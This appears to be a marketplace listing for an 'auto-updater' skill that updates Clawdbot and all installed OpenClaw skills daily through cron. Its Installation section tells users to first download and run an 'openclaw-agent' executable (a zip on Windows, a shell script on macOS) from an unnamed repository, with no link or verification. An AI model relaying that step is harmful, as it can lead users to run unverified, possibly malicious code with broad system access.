auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep Clawdbot and all your AI skills updated automatically. Manage versions, receive change reports, and ensure your system is always running the latest features.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-xsunpWhat This Skill Does
The auto-updater skill is a maintenance powerhouse designed to keep your OpenClaw ecosystem running at peak performance. It automates the tedious, repetitive process of checking for, downloading, and applying updates for both the core Clawdbot application and every individual skill you have installed. By leveraging a cron job scheduled at your convenience, it eliminates the risk of running outdated, insecure, or buggy software. When triggered, the skill executes a multi-step workflow: it verifies Clawdbot’s core version, cross-references your installed skills against the latest registry data, performs the necessary patch applications, and compiles a comprehensive, human-readable summary of every change made, including version shifts for both updated and current modules.
Installation
Installation requires the openclaw-agent utility. First, visit the official repository to download and run the appropriate executable for your OS (Windows users require the zip, macOS users use the provided shell script). Once the agent is active, install the skill via the command line: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-xsunp. After installation, verify the agent connection by checking your status. You can initialize the automation immediately by requesting it directly from your chat interface.
Use Cases
This skill is ideal for power users who want a 'set-and-forget' experience. It is particularly useful for production environments where you cannot afford downtime caused by manual updates, or for users who manage a large library of skills and want to avoid the manual labor of updating them one by one. It acts as a system administrator, ensuring your environment is always running the latest patches and feature sets without manual intervention.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills to run at 4 AM every morning."
- "Can you show me the update summary from this morning's auto-run?"
- "Run a dry-run update check on all my skills to see if any are currently outdated."
Tips & Limitations
Always ensure your openclaw-agent is running, as the skill cannot communicate with the file system or package managers without it. While the auto-updater is highly reliable, it is recommended to review the update summaries periodically to ensure no breaking changes are introduced by major version updates. Use the --dry-run flag if you want to inspect pending changes before they are applied to your system configuration.
